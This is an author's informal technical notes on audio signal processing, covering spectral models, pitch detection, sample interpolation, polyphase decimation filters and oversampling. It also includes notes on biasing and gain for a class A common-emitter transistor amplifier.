In addition to the window type, we also need to consider the effect of window size, odd vs even windows, FFT size and hop size. Smaller window sizes have poor spectral resolution compared with larger ones. Odd size windows have their phases centered around zero, which is preferable. FFT size can be chosen independently from the window size (this involves zero-padding the signal). Large hopping size can produce modulation artifacts of the spectra, which can be audible after the IDFT (for example if M = 201 and H = 100, this isn’t audible when M = 201 and H = 50).

For analysis purposes we should be aware of the time-frequency tradeoff: While larger window sizes give us better spectral resolution, we lose time domain information, and viceversa.

The inverse STFT for a single frame is the same as the regular IDFT, though when multiple frames are involved, they should be shifted and added accordingly. For a full sound it bouls down to: y[n] = x[n] * sum(w[n - i * H]). Depending on the window type and if the amplitude modulation is to be avoided, different overlap sizes can be tried. For example, for a Blackman window, a 4 * N overlap avoids any distortion. A similar result is obtained with a 2 * N overlap when using a non-symmetric Hann window.

For more information about FFT windows, check out this article

The sinusoidal model

For a given sound, we can detect the main harmonics by using a sinusoidal model, where the harmonic peaks produced by the STFT can be detected on the spectral domain by looking at the peaks. In essence we model a sound as a sum of sinusoids:

y[n] = sum(As[n] * cos(2 * pi * fs[n] * n))

To obtain enough frequency resolution for this purpose we need to consider the effect of the main lobe width of the window function.

If B = Bw * fs / M and delta = abs(f[k+1] - f[k]):

M >= Bw * fs / delta

where: B := Bandwidth of the main-lobe of a window
       Bw := Number of samples of the main-lobe
       fs := Sampling frequency (Hz)
       M  := Window size
       f[k] and f[k+1] := Frequency of sinusoids in Hz.
       delta := Frequencies we want to resolve as distinct

In many cases we want to detect the harmonics of a signal, so we consider delta = f0 (the fundamental frequency / initial harmonic of a sound) and thus M >= Bw * fs / f0. A good window size is twice the minimum number, in other words: M = 2 * Bw * fs / f0

The peaks in a spectrum can be detected as a local maxima by looking at the derivative sign or for each point checking if the neighbours at either side are smaller. This method is subject to noise, luckily an easier method to obtain better resolution in a signal spectrum is to use zero-padding, for example by making the FFT size N much larger than the window size M. Other smoothing methods could also be used depending on your needs. This method may still not give us enough resolution unless the N increse is very large however, which would be computationally very expensive. An alternative method is to try to fit a parabola x[n] = a * (n - p) ^ 2 + b where p is the center of the parabola, a is the concavity measure and b is the offset. We can combine the zero-padding with the parabolic interpolation to obtain a more precise peak center.

So far the method described would work for a single frame, but in order to use a real signal, we need to make sure the peaks are stable across multiple frames. We can use a spectrogram for this purpose and define stability in terms of frequency and amplitude as well as the phase derivative in time/frequency.

The sinusoidal model can be used for additive synthesis in addition to be an analysis tool. Adding the values of multiple sinusoids can be quite an expensive operation when working on the time domain, but this can be done much faster by working with the spectral model and then using the IDFT to obtain the final sound. Using one of the windows we previously discuss, we can generate arbitrary sinusoids. Even better, we only need to focus on the main lobe of the window for this purpose if we use a window with a high enough SNR, like the Blackman-Harris.

The harmonic model

Following from the sinusoidal model, where a sound is represented by a sum of sinusoids. The harmonic model restricts which harmonics/sinusoids can be part of the model by making them a multiple of the fundamental frequency:

y[n] = sum(A[n] * cos(2 * pi * r * f0[n] * n))

where: A[n] := instantaneous amplitude
       f0[n] := fundamental frequency (Hz)
       r := harmonic number

Y[k] = sum(A * W[k - r * f0'])

where: A := instantaneous amplitude
       W := spectrum of the analysis window
       f0' := normalized fundamental frequency
       r := harmonic number

The main challenge of this model is the identification of the fundamental frequence (f0), specially when considering not only monophonic signals, but also polyphonic or enharmonic ones. Polyphonic detection is only really feasible in the spectral domain, but we can perform f0 detection for monophonic signals on the time domain.

One of the tools we have at our disposal is the autocorrelation function in the time domain:

r[l] = sum(x[n] * x[n + l]), where l := lag = 0, 1, ..., N - 1

We can calculate the autocorrelation for different lag values to study the peak distribution, in some signals is easier than others.

Another useful function for this purpose is the YIN algorithm, often use in speech monophonic signals. It tries to find the minimum value of the square difference of samples:

d[l] = sum((x[n] - x[n + l])^2), where l := lag = 0, 1, ..., N - 1

In the frequency domain we can detect harmonic peaks as previously described, and then heuristically select the common divisor(s) of the harmonic series that best explain the spectral peaks. The two-way mismatch (TWM) algorithm by Maher and Beuchamp is one method of performing pattern matching between the predicted and measured peaks. This algorithm will work with polyphonic signals as well as monophonic, but clearly the former are more challenging to deal with.

Similarly Salamon and Gómez (2012) propose and algorithm to find the prominent pitch in polyphonics signals.

These are quite involved algorithms that go a bit too far from me to summarize right now, but the original research articles should serve as a good baseline for their understanding. Frequency detection is still an ongoing research field, particularly with complex signals.

One useful thing to note is that if we know the fundamental frequency, we can calculate the maximum number of harmonics that can appear in a signal with:

n_harm = fs / (2 * f0)

When talking about harmonics and the harmonic series, also known as the overtone series it’s worth noting that when working with the western chromatic scale of 12 semitones per scale, the difference between one pitch and the next is of:

pitch[p] = pitch[p - 1] * 2 ^ (1 / 12)

Between two subsequent pitches we divide the frequency range in 100 “cents”. The difference in “cents” between two frequencies f0 and f1 (where f0 < f1) is:

n_cents = 1200 * log2(f1 / f0)

Since the pitch distribution is logarithmic, the multiple harmonics of a fundamental frequency for a given pitch have an musical intervalic interpretation. The fundamental frequency is considered the root of the interval, the second harmonic is an octave, the 3rd is a 5th. These intervals are not perfect when compared to equal temperament tuning. In this table you can find the initial 16 harmonics and the intervalic representation for each of them.

The stocastic model

Sinusoidal and harmonic models tell a story about the periodic sounds of a signal. We can analyze a signal using stochastic models with tools like autocorrelation, power spectral density, mean, variance and probability distributions. Complex sounds, the attack of instruments and noise can be studied with stochastic models, and we can use these in addition to the harmonic or sinusoidal models. Think of sounds like the ocean waves breaking on the shore, the wind hitting a microphone, etc.

There are many stochastic models available, one of which consist onthe convolution of white noise with the filtered approximation of our signal:

y[n] = sum(u[n] * h[n-k])
    where: u[n] := white noise
           h[n] := impulse response of filter approximating input signal x[n]

The phase of white noise is essentially composed of random numbers within the phase range, for this reason we can see the model in the spectral domain as the magnitude of our filtered input sound and random numbers as the phase.

One approach to obtain the filtered magnitude spectra is to use the LPC approximation, where we minimize the error function such that:

h[n] = sum(a[k] * x[n - k])
error = infsum((x[n] - sum(a[k] * x[n - k]) ^ 2)) = infsum((x[n] - h[n]) ^ 2)
    where: a[k] := filter coefficients

This method is very useful to obtain the formant (main resonances) of a vocal sound. Read more about formant synthesis here.

A simpler approach is the use of an envelope approximation by using a low pass filter and zero padding the dft before the idft transform.

a[n] = IDFT(LP(DFT(x[n])))
b[n] = IDFT(DFT(ZP(a[n])))
    where: LP := low pass filter
           ZP := zero-padding

We can also use residuals for stochastic models. The residual refers to the the stochastic model obtained from the substraction of the modeled sinusoids (from the sinusoidal or harmonic model) to the original signal:

y[n] = sum(A[n] * cos(2 * pi * f[n] * n)) + xr[n] = ys[n] + xr[n]
    where: ys[n] := sinusoidal model composed of R sinusoids
           xr[n] := x[n] - ys[n]
           x[n] := our original signal

Y[k] = sum(A * W[k - f]) + Xr[k] = Ys[k] + Xr[k]

Residuals are difficult to model, however, since they are formed of large amounts of data without many knobs to adjust, which is why other stochastic models may be more useful for our purposes if that knob tweaking is the goal. What we can do, however, is to take the extracted residuals, and then use it for modeling the stochastic components as previously described.

Transformations

We can apply transformations to our signal in several ways, but it is very convenient to do these on the frequency domain or to modify one of our models. For example, filtering via convolution is an operation that can be expensive to compute in the time domain, but it’s just a multiplication on the frequency domain. Better yet, if our magnitude spectra is in logarithmic scale (dB), instead of multiplications we use additions (log(a * b) = log(a) + log(b)), which are generally much cheaper to compute. In the STFT context, a filter doesn’t change with time and it will be applied to each frame as a multiplication in the spectral magnitude and addition of the phases, though we generally only care about the magnitude of a filter, and if the filter is zero-phase windowed it will have no effect on the end result:

Y[l][k] = |X[l][k]| * |H[k]| * exp(j * phase_x[l][k]  + j * phase_h)

Another operation we may want to perform on the spectral domain is “morphing”. It’s similar to filtering, except the filter also changes in time. For example if we filtered our original x[n] signal with a z[n] signal that is transformed to the spectral domain and whose magnitude is smoothed out. For example we can make an orchestral sample x[n] sound as if being played by a vocal sound z[n], think a Vocoder effect.

If we have a sinusoidal model, we only want to modify the amplitude values of the sinusoids and later regenerate the phase values based on the modified model, since the phase is very sensitive to modifications. With this, we can resythesize samples, setting onsets in different locations. Likewise, we can modulate the frequencies to change in a variety of ways. The similar concept can be applied to harmonic models and compound harmonic/stochastic models. The possibilities are endless with regards to transformation and morphing operations. Some examples include frequency transposition (fh[l] = s * f[l] * f[l]), frequency shifting (fh[l] = s * f[l] + f[l]), frequency stretching (fh[l] = fh[l] / h * h^(s * f[l])).

Audio features

Sound analysis has a large number of tools in addition to the models previously described. Analyzing an audio file can result in a variety of metrics/features that can be used for studying sound characteristics or as a jumping point for more creative transformations.

Feature extraction can be done in the time and spectral domain, and we can also differentiate algorithms that work on a single frame or multiple frames. Some examples:

• Single-frame spectral features:
  • Energy, RMS, Loudness
    • Energy: sum(X[k] ^ 2)
    • RMS: sqrt(sum(X[k] ^ 2) / N ^ 2)
    • Loudness (Steven’s power law): sum(X[k] ^ 2) ^ 0.67
  • Spectral centroid: sum(k * abs(X[k])) / sum(abs(X[k]))
  • Mel-frequency ceptral coefficients (MFCC)
  • Pitch salience
  • Chroma (Harmonic pitch class profile, HPCP)
• Multiple-frame spectral features
  • Event segmentation / onset detection
    • Spectral flux: sum(H(abs(X[l][k]) - abs(X[l-1][k]))) where H(x) = (x + abs(x)) / 2
    • Onset detection based on high frequency content: HFC[l] - HFC[l -1] where HFC = sum(abs(X[k]) * k ^ 2)
  • Predominant pitch
  • Statistics of single frame features

Tools

• Audacity
• SonicVisualiser
• Python
• Matlab

Sampling

Sampling is easy enough when the sampling rate of the sample matches the playing audio rate (e.g. 48KHz samples on a 48KHz audio stream), wrapping around as needed in case of looping samples:

typedef struct Sample {
    float *data;
    int len;
    int pos;
} Sample;

int
audio_callback(float *output, int len) {
    for (int x = 0; x < len; x++) {
        if (sample->data == NULL) {
            continue;
        }

        // Looping.
        if (sample->pos >= sample->len) {
            sample->pos = 0;
        }

        output[x] = sample->data[sample->pos++];
    }
}

When “resampling”, for increasing/decreasing the pitch or changing the sample duration, we will run into a number of issues. Resampling means we will be playing the sample at a different speed that the one it was originally recorded at. We generally want a fine control over this speed, meaning we want a fractional number for our positional increment (floating or fixed point numbers). For now I’ll stick to floating point numbers, but fixed precision integers have a number of advantages we will go over at a later time.

We already know that an increment of 1 will play the sound at the original rate, but what should the sample increment be to play the note at a desired pitch? Well, a rate of 2 corresponds to the original pitch shifted one octave up, and conversely a rate of 0.5 will be one octave down instead.

For all the semitones in between, they are separated from the previous semitone by 2 ^ (1 / 12), so:

...
B  = C  / pow(2, (1/12))
C# = C  * pow(2, (1/12))
D  = C# * pow(2, (1/12))
...

Furthermore, we can pre-calculate the frequencies and fractional increment amounts for each note, for example, using a Python script to cover C0-C9:

C4 = 261.625580
interval = 2 ** (1 / 12)
for i, octave in enumerate([1./16., 1./8., 1./4., 1./2., 1., 2., 4., 8., 16., 32.]):
    base = C4 * octave
    freqs = [base]
    increments = [octave]
    for j in range(1, 12):
        freqs += [freqs[j - 1] * interval]
        increments += [increments[j - 1] * interval]

    print(list(zip(freqs, increments)))

If we run this script and look at the C4-B4 octave we get the following note/increment pairs:

We can store this table as an array and use a lookup to get the increment for any given note. Our sample playing code can now be something like this, making also sure that when looping, we keep the remainder of the fractional part to avoid glitches:

typedef struct Sample {
    float *data;
    float len;
    float pos;
} Sample;

int
audio_callback(float *output, int len) {
    for (int x = 0; x < len; x++) {
        if (sample->data == NULL) {
            continue;
        }

        // Looping.
        while (sample->pos >= sample->len) {
            sample->pos -= sample->len;
        }

        int pos = sample->pos;
        output[x] = sample->data[pos];
        sample->pos += sample->inc;
    }
}

Note that this doesn’t quite do the trick just yet. If you try using this function, you will notice some high pitch harmonics creeping in, even if you use a pure sine sample. One of the things causing this effect is the fact that we are using a sample and hold method for selecting samples. By truncating the fractional part of the position, we create a “staircase” effect, adding a bunch of harmonics to our sample. Instead, you probably want to use some form of sample interpolation, the simplest of which is linear interpolation. This method is already a huge improvement over no interpolation, and can be quite fast to calculate:

float
sample_lerp(float *data, size_t len, float pos) {
    float x = pos;
    int x0 = (int)x;
    int x1 = (x0 + 1);
    float y0 = data[x0];
    float y1 = data[x1 % len];
    x = x - x0;
    float y = y0 + x * (y1 - y0);
    return y;
}

Another popular interpolation method is the cubic interpolation, more specifically the Hermite interpolation. This method requires 4 points, where the point we want to interpolate is located between the two middle ones. I was scratching my head trying to understand the derivation for this polynomial, I’m not gonna go into a lot of detail here, but essentially, on a 3rd order polynomial you set some constrains so that your derivative behave in a smoother manner. More details can be found in this StackExchange answer and The Continuity of Splines video by Freya Holmer. The important thing about this method is that it presents a smoother path across samples, and with a smoother wave, you have less added artificial harmonics.

float
sample_hermite(float *data, size_t len, float pos) {
    float x = pos;
    int x0 = x - 1;
    int x1 = x;
    int x2 = x + 1;
    int x3 = x + 2;
    float y0 = data[x0 % len];
    float y1 = data[x1];
    float y2 = data[x2 % len];
    float y3 = data[x3 % len];
    x = x - x1;
    float c0 = y1;
    float c1 = 0.5f * (y2 - y0);
    float c2 = y0 - 2.5f * y1 + 2.0f * y2 - 0.5f * y3;
    float c3 = 1.5f * (y1 - y2) + 0.5f * (y3 - y0);
    return ((c3 * x + c2) * x + c1) * x + c0;
}

In practice, linear interpolation is good enough for many purposes, but it’s good to have a better method available in case we have the processing power to spare.

Resources

• Interpolation Methods (Paul Bourke)
• Multi-dimensional Hermite Interp olation and Approximation for Modelling and Visualization

Filtering

EMA

• Uses feedback.
• Cheap and simple to implement.
• Cutoff frequency (-3dB) can’t be defined for high alpha.
• Alpha determines the amount of filtering (alpha = 1 -> no filtering / alpha = 0 -> maximum filtering).
• Frequency domain performance not great (phasing issues) but useful for light filtering.

Formula:

EMA LP: y[n] = alpha * x[n] + (1 - alpha) * y[n - 1]
        where:     x := input
                   y := output
               alpha := filter amount [0.0 .. 1.0]

EMA HP: y[n] = 1/2 * (2 - beta) * (x[n] - x[n - 1]) + (1 - beta) * y[n - 1]
        where:     x := input
                   y := output
                beta := filter amount [0.0 .. 1.0]

• The Simplest Digital Filter (SMT32 Implementation) - Phil’s Lab

Polyphase filtering

A common task in DSP is to perform resampling via upsampling and downsampling of a signal. Without getting too much into the math (if you are reading this, you probably already know what the Nyquist limit is right?), we need to apply a low pass filter in addition to the resampling to avoid aliasing.

For upsampling, we can zero stuff a signal with zeroes. For example, for an upsamping factor L = 2, we put one zero in between each pair of samples, for L = 3 we put 3 and so on. After this zero stuffing, we apply a low pass filter to interpolate between the original samples.

         ┌─────┐    ┌─────┐
x[n] ───>│  L  │───>│ LPF │───> y[n], fs = fs * L
         └─────┘    └─────┘

In the case of downsampling, we do it the other way around, with a low pass filter first to avoid frequencies that would otherwise alias, and then we apply decimation, meaning we keep only each sample multiple of M. So for M = 2, we would remove every other sample.

         ┌─────┐    ┌─────┐         
x[n] ───>│ LPF │───>│  M  │───> y[n], fs = fs / M
         └─────┘    └─────┘           

You can already see a problem if you pay attention to this, we end up having to filter a bunch of samples that we end up throwing away. What a waste!

Here is where Polyphase filters come into play. The math it’s a bit too involved to cover here, but I’ll link some resources below with more in depth explanations. I’m going to focus on the practical part here. For a filter H[n] we can switch our signal path so that the downsampler becomes:

                          ┌──────┐    
              ┌──────────>│  H1  │───┐
              │           └──────┘   │ 
              │                      │
              │           ┌──────┐   │ 
              │ ┌────────>│  H2  │───┤
           ┌─────┐        └──────┘   │
 x[n]  ─── │ MUX │                   ├── + ──> y[n]
           └─────┘        ┌──────┐   │
              │ └────────>│  H3  │───┤
              │           └──────┘   │
              │              ...     │
              │           ┌──────┐   │
              └──────────>│  Hn  │───┘
                          └──────┘    

Where MUX is a sample multiplexer that will push sample n = 0 to H1, sample n = 1 to H2, etc. And each of the subfilters can be easily obtained by separating the coefficients in a similar way, each N intervals. This sounds a bit abstract so let’s look at an example.

Say we have an FIR filter of 4 coefficients in the form:

b = c0 + c1*z-1 + c2*z-2 + c3*z-3

If we want to do decimation by a factor of 2, the subfilters H0 and H1 are split as such:

H0 = c0 + c2*z-1
H1 = c1 + c3*z-1

So far so good right? For me, I’ve found at this point it’s a bit difficult to understand how the signal flow actually work, should the multiplexing work in sync with the inner filters or not? How does the summation work? In summary, we process all the samples, but each of the input samples get sent into a different filter, so x[0] goes to H0, x[1] to H1, x[2] to H0, etc. The trick is that the output is half the rate of the input, so for y[0] we need to send the sample x[0] to the first filter and gather the output of all of the filters for adding them together. Still confused? So was I! So I decided to experiment a bit in python. Here is the code for an M=2 decimator using a stateful FIRFilter class that keep track of the internal delayed samples.

class FIRFilter:
    def __init__(self, b):
        self.b = b
        self.xz = np.zeros(len(b))
        self.y = 0.0

    def filter_sample(self, xn):
        self.xz[0] = xn
        acc = 0.0
        for n in range(len(self.b)):
            acc += self.xz[n] * self.b[n]

        # Shift delay line.
        self.xz = np.roll(self.xz, 1)
        self.y = acc
        return acc

    def filter(self, x):
        y = np.zeros(len(x))
        for i, x in enumerate(x):
            y[i] = self.filter_sample(x)
        return y

def filter_polyphase(b, x):
    N = len(x)
    y = np.zeros(N//M)
    h0 = FIRFilter(b[0::M])
    h1 = FIRFilter(b[1::M])
    for i, n in enumerate(range(0, N, M)):
        acc = h0.filter_sample(x[n]) + h1.y
        h1.filter_sample(x[n + 1])
        y[i] = acc
    return y

We can exted this to an M bank polyphase decimator easily:

def filter_polyphase(b, x, M):
    N = len(x)
    y = np.zeros(N//M)
    bank = []
    for i in range(M):
        bank.append(FIRFilter(b[i::M]))
    for i, n in enumerate(range(0, N, M)):
        acc = 0.0
        for j in range(0, M):
            acc += bank[j].filter_sample(x[n + M - 1 - j])
        y[i] = acc
    return y

Let’s prove that this works! Assuming we are already oversampled by a factor of 2, we would like to downsample to 48kHz. We can generate a simple filter:

width = 1000
fs = 48000 * 2
fc = 24000 - width / 2
numtaps = 256
b = signal.remez(numtaps, [0, fc, fc + width, fs/2], [1, 0], fs=fs)

We will test a simple implementation of the combination of filtering and decimation with an impulse response.

def decimate(x, M):
    y = np.zeros(len(x)//M + 1)
    for i, n in enumerate(range(0, len(x), M)):
        y[i] = x[n]
    return y

x = np.zeros(1024)
x[0] = 1.0
fir = FIRFilter(b)
y0 = fir.filter(x)
y1 = decimate(y0, 2)

Giving us the following time and frequency response:

Now let’s see how it compares to our polyphase filter:

y2 = filter_polyphase(b, x, 2)

We can see that the output of the polyphase filter fully overlaps with the filtered and decimated signal.

Amazing! And now each sample just have to do half of the filtering operations. The magic of this technique is that if we were to downsample by a factor of 4, for the same filter coefficients each sample only has to do 1/4 of of the original multiplies.

Resources

• Recent Interesting and Useful Enhancements of Polyphase Filter Banks

Antialiasing

So we know that we may want to use a polyphase filter for an antialiasing filter with downsampling, and this may work well for M = 2. In the context of audio applications, we oversample and downsample our signal to avoid aliasing when harmonics are generated, for example by some saturation or waveshaping function. Once the aliasing harmonics are baked into a signal, they are impossible to remove, however if we operate at a higher sample rate, the harmonics will take longer and have more time to dissipate before bouncing back from the Nyquist limit. The more we oversample, the less reflections we will have, though our processing becomes much more expensive as we would have to process many more samples.

Let’s show an example of what this looks like by creating different chirp signals (sine sweeps) and distorting them with a tanh waveshaper. Note that we apply the distortion to the “oversampled” signal:

gain = 1.0
x0 = np.tanh(signal.chirp(np.arange(48000) / 48000, f0=100, f1=22000, t1=1) * gain)
x2 = np.tanh(signal.chirp(np.arange(48000 * 2) / 48000 / 2, f0=100, f1=22000 * 2, t1=2) * gain)
x4 = np.tanh(signal.chirp(np.arange(48000 * 4) / 48000 / 4, f0=100, f1=22000 * 4, t1=4) * gain)
x8 = np.tanh(signal.chirp(np.arange(48000 * 8) / 48000 / 8, f0=100, f1=22000 * 8, t1=8) * gain)
x16 = np.tanh(signal.chirp(np.arange(48000 * 16) / 48000 / 16, f0=100, f1=22000 * 16, t1=16) * gain)
x32 = np.tanh(signal.chirp(np.arange(48000 * 32) / 48000 / 32, f0=100, f1=22000 * 32, t1=32) * gain)
x64 = np.tanh(signal.chirp(np.arange(48000 * 64) / 48000 / 64, f0=100, f1=22000 * 64, t1=64) * gain)
x128 = np.tanh(signal.chirp(np.arange(48000 * 128) / 48000 / 128, f0=100, f1=22000 * 128, t1=128) * gain)

Before we start, why don’t we take a look at an optimized FIR filter for this purpose? We would like a pretty steep filter with a flat passband and a low stopband attenuation, say of -100dB. A good candidate for this design is to use a blackman-harris window FIR filter. We can check a few other windows like the blackman or hamming for comparison.

As you can see, for the same number of taps, the attenuation is much better on the stopband on the blackmanharris. For this window we can study the frequency response for different number of taps.

Until n = 16 we get sufficient attenuation, even if it’s progressively less steep. If we were to downsample in multiple steps, we could use a 128 tap filter for the last pass, a 32 for the second to last pass and 16 for everything before that. Here is how you can get the coefficients for those filters for a frequency cut slightly below fs/2.

b2 = signal.firwin(128, 0.455, window='blackmanharris')
b4 = signal.firwin(32, 0.455, window='blackmanharris')
b8 = signal.firwin(16, 0.455, window='blackmanharris')

However, with our polyphase filters, we can actually just downsample directly with a factor M. Bear in mind though, that to maintain the same filter performance at lower fractions of the frequency range, we need to progressively increase the number of taps. The good news is that the performance of the filter will be the same no matter what, since the work is divided, though the increse in number of samples also will affect the amount of work needed.

ntap2 = 128
ntap4 = ntap2 * 2
ntap8 = ntap4 * 2
ntap16 = ntap8 * 2
ntap32 = ntap16 * 2
ntap64 = ntap32 * 2
ntap128 = ntap64 * 2
b2 = signal.firwin(ntap2, 0.90/2, window=window)
b4 = signal.firwin(ntap4, 0.90/4, window=window)
b8 = signal.firwin(ntap8, 0.90/8, window=window)
b16 = signal.firwin(ntap16, 0.90/16, window=window)
b32 = signal.firwin(ntap32, 0.90/32, window=window)
b64 = signal.firwin(ntap64, 0.90/64, window=window)
b128 = signal.firwin(ntap128, 0.90/128, window=window)

Time of the truth, we will up to x128 oversampling and see the effect in our spectrograms.

y2 = filter_polyphase(b2, x2, 2)
y4 = filter_polyphase(b4, x4, 4)
y8 = filter_polyphase(b8, x8, 8)
y16 = filter_polyphase(b16, x16, 16)
y32 = filter_polyphase(b32, x32, 32)
y64 = filter_polyphase(b64, x64, 64)
y128 = filter_polyphase(b128, x128, 128)

Starting at x8 oversampling, our aliasing is mostly gone, hurray!

But wait, what happens if you increase the gain in the signal, hence adding more distortion? Let’s start by bumping it up to 2.0

Uh oh, we see now some aliasing starting to creep in at x8. May still be fine for most applications, but here is what happens if we increase the gain to 10.0

A lot more audible harmonics there, but we may just increase the oversampling factor if we have the cpu to spare. What if we go all the way to a gain of 100 times?

Wowza, that’s a lot of aliasing, even at x64 (and arguably x128). Of course that’s quite a lot of extra gain and distortion being applied, but it shows that oversampling is not always the solution for all our aliasing woes. Things like hard clipping or square waves will inevitably add a lot of aliasing to our signal if we are not careful, though there are other techniques that can be used to produce alias free oscillators.

Comb filters

• Musical application of nested comb filters for inharmonic resonator effects

Synthesis

Karplus–Strong

• Karplus–Strong (Wikipedia)
• Digital Synthesis of Plucked-String and Drum Timbres
• Karplus-Strong algorithm in Python
• Analytic pluck synthesis

Wavetable

• Wavetable synths tutorial by earlevel

Effects

Reverb

• Let’s Write A Reverb by Geraint Luff (Video)
• Let’s Write A Reverb by Geraint Luff (Blog)
• Sean Costello (Valhalla DSP) on reverb design, March 2019

Other Resources

• Intro to Signal Processing (Orfanidis)
• Introduction to Digital Filters with Audio Applications
• DAFX: Digital Audio Effects
• Discrete-Time Signal Processing
• The Computer Music Tutorial
• Streamlining Digital Signal Processing: A Tricks of the Trade Guidebook, 2nd Edition
• Chromatographic Integration Methods
• Digital Signal Processing (Principles and Applications) by Thomas Holton
• Sampling theorem (Neso)
• Alias-Free Digital Synthesis of Classic Analog Waveforms (BLIT)
• Hard Sync Without Aliasing (Eli Brandt)
• Code for MinBLEPs
• Synthesising band limited waveforms using wavetables (Joe Wright)
• Cascaded box-filter smoothing filters
• A cheap energy-preserving-ish crossfade
• Signalsmith Audio Blog

Audio APIs

• miniaudio

These are some scatterbrain notes on electronics. I did study electrical engineering in quite a lot of depth, but sadly most of that knowledge has faded away with little to no use. As I’m getting re-acquainted with these things I decided to document my analysis and design process, but reader, treat these notes with a pinch of salt, and please let me know if you find inaccuracies or flat out wrong information.

Class A amp with a common emitter NPN

In this common configuration we have two main parts. The voltage divider on the left (R1 and R2) set the DC bias point for the linear region of the transistor. The right part (Rc and Re) adjust the Q point and determines the gain of the circuit. In this case we have decoupling capacitors (C1 and C2) which will remove the DC component of the input and output signals, as we typically apply this circuit to audio or AC waves. We can additionally have an optional DC bypass capacitor for Re (C3) which can help us greatly increase the gain but give us higher output distortion.

               +-----------+------------ Vcc
               |           |
               |           |
               R1          Rc
               |           |
               |           |
               |           +--------||----> out
               |         |/ c       C2
in >----||-----+---------|b NPN
        C1     |         |\ e
               |           +. . . . .+
               |           |         |
               |           |         |
               R2          Re       C3
               |           |         |
               |           |         |
               +-----------+---------+-- GND

Design

If we don’t have any hard initial requirements, it’s typical to start considering which would be the load impedance, as we would like to make Rc at least 10 times smaller. Vcc will determine the maximum output voltage we can get out of the circuit, common values are 5V, 9V and 12V.

If we are amplifying an AC signal we will typically want to set our bias so that the Q point is right in the middle, giving us the maximum amount of gain in both directions before distortion (clipping). In practice we can achieve this by making Vc midway between Vcc and Vb or Vb: Vc = (Vcc - Ve) / 2. We are ignoring the voltage drop in this calculation (Vce) but for more exact values we would say that Vc(sat) = (Vcc + Vce(sat) + Ve), where Vce(sat) is usually around 0.2 V, thus the desired collector current for maximum swing would be Vc(q) = (Vcc - Vc(sat))/2. For simplicity we’ll stick to the initial method in our calculations.

At this point we haven’t made any decisions yet, but we can use a couple of rules of thumb to get started:

1. We may want to have 100-500mV on Ve for good bias stability vs beta.
2. We may want to choose an Ic value determined by the expected output or just selecting a typical value, for example 1mA. If we want lower consumption we would go with lower intensity but we may need to drive a higher current on the load.
3. We may just have some resistors at hand and that’s the only thing we can use.
4. We may want to make Vc, Ve and Vce as similar as possible and use a bypass capacitor on the emitter to set the gain. In this configuration Re = Rc.
5. We may just set Re to be 10% of Vcc.

With some of these decisions we should be able to calculate Rc, Re and Ic. For example, let’s say we use a 9V power supply (Vcc = 9V) and the load impedance is of 47K, so we use a 4.7K resistor for Rc.

Setting the Q point and gain

If we want to have 500mV on Ve, we know that Vc = (9 - 0.5) / 2 = 4.25V. The voltage drop by Rc will then be VRc = (9 - 4.25) = 4.75 and since we know Rc, we use Ohm’s law to determine that Ic = VRc / 4.7e3 = 1.01mA.

Now that we have Ic and we know we want 500mV on Re, Re = 500mV / 1.01mA = 500 Ohm. Closest we can get with commercial resistors is Re = 470 Ohm. We can recalculate the voltage drop at that intensity as Ve = 470 * 1.01e-3 = 475mV (close enough). Technically we would have to go back and calculate the proper Ic(q) with both resistors and then we would get a better swing without distortion in our amplifier, but for this example a Ic of 1mA simplify the calculations quite a bit.

With this information and looking at the spec sheet of the transistor, we know that Vb = Vbe + Ve, typically Vbe = 0.65-0.7, thus Vb = 1.125V. This is good, as we usually want to have between 1 and 1.5V on Vb for good bias stability.

Setting the DC bias

For the voltage divider (R1, R2) we would like to take Ib out of the equation, furthermore, we want the intensity going through R2 (Ibias) to be at least 10 times larger than Ib. The specsheet give us an approximate hfe (beta), which can vary largely, even within components of the same model. Knowing that Ic = Ib * beta, we can measure or estimate low, typical and high value of beta for a particular component. Let’s assume beta = 100 for now. With this beta number and knowing our Vb value from the previous step, we can easily calculate the value of R2 as: R2 = Vb / (10 * Ib) = 11138 Ohm. If we were to make Ibias = 20 * Ib instead, we would have R2 = 5569 Ohm. Higher Ibias values will give us more stability in the circuit, but we will also be burning more power and the resistors will be smaller, creating a lower input impedance, which is usually not desired. Let’s go with R2 = 11 kOhm

Similarly we can finalize the design by selecting R1 in the same way. The voltage drop with the voltage divider equation: R1 = (Vcc/Vb - 1) * R2 = 77 kOhm. An alternative calculation is to use the same calculation as for R2 but adding the Ib to Ibias, and thus the formula would be R1 = (Vcc - Vb) / (10 * Ib + Ib) = (Vcc - Vb) / (11 * Ic / beta). This arrive to a similar design, with a final practical value of R1 = 70 kOhm. This seems to give a more accurate bias in practice.

Finally we can calculate the DC bypass capacitors (C1, C2) to meet the desired bandwidth. In audio application we work with a range of 20Hz to 22kHz. In our application, a capacitor in series behaves like a high-pass filter, with a frequency cutoff given by f = 1 / (2 * pi * R * C).

For C1, it sees an input impedance given by the voltage divider (RC1 = R1 || R2 = 1 / (1 / R1 + 1 / R2) = 9506.17). Furthermore for a 20 Hz cutoff we need C1 = 1 / (2 * pi * 9506.16 * 20) = 837nF. Anything larger than that and we will meet the criteria. For the output, C2 only sees the load, in this case 47 kOhm, so applying the same formula we get C2 = 169nF, so once again anything larger than that will give us the desired cutoff below 20Hz. To be safe, we can use caps that are 10 times these minimum values to minimize carryover signal dropoff.

Now, if we want to redo the numbers with the more accurate calculations stemming from an Ic(q) = 875uA we see that our bias resistors are R1 = 81.5 kOhm and R2 = 12 kOhm.

Not too far off from the previous ones, but if we put these number in the simulator we can see that with the more accurate bias we can use a signal of +/- 450 mV with minimal distortion:

whereas there was a significant change in the bottom part of the wave with the simplified numbers:

Gain and frequency response

If we don’t have a bypass capacitor on the emitter, the voltage gain of the circuit can be determined by roughly Av = - VRc / VRe = - Rc / Re. The negative part is because this is an inverting amplifier circuit. Without getting into the math of it, with the bypass capacitor in place we have a gain of Av = -VRc / Vth, where Vth is of approximately 26 mV at room temperature. In our case we should have an approximate gain of Av = - 10. If we simulate the circuit we see this:

Around 8.5, which close enough in this case. What about the frequency response, did we meet the requirements? The answer is yes:

If we use a bypass capacitor for the emitter, we want to make sure is big enough so that it attenuates all frequencies above 20 Hz on the emitter.

This will give us an approximate gain of Av = -(4.7e3 * 875e-6) / 26e-3 = 158 at room temp. As can be seen on the simulator, the gain is close to Av = -137, a big jump compared to the previous one. However, notice how it is much less controlled, with big gain changes between 20 Hz (36.2) and 200 Hz (131). If we don’t care much for those, frequencies, this makes for a terrific amplifier, but if the goal is to display the most accurate signals as possible we may want to avoid using the bypass capacitor on the emitter.

